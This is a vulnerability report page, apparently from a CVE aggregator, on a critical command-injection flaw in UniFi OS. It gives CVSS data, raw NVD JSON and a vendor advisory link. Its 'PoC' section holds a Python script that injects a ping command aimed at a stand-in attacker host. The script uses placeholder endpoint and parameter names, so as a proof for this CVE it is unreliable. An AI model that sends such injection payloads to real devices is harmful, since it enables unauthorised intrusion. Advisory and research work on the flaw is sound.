Security Vulnerability Report
中文
CVE-2026-34910 CVSS 10.0 CRITICAL

CVE-2026-34910

Published: 2026-05-22 02:16:35
Last Modified: 2026-05-22 02:16:35

Description

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi OS (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable UniFi OS device target_url = "http://<target-ip>/api/some/endpoint" # Malicious payload to inject commands (e.g., ping a controlled server) payload = "; ping -c 4 attacker-controlled.com" # Send the malicious request try: response = requests.post(target_url, data={"vulnerable_param": payload}, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully, check your listener.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34910", "sourceIdentifier": "[email protected]", "published": "2026-05-22T02:16:34.527", "lastModified": "2026-05-22T02:16:34.527", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b", "source": "[email protected]"}]}}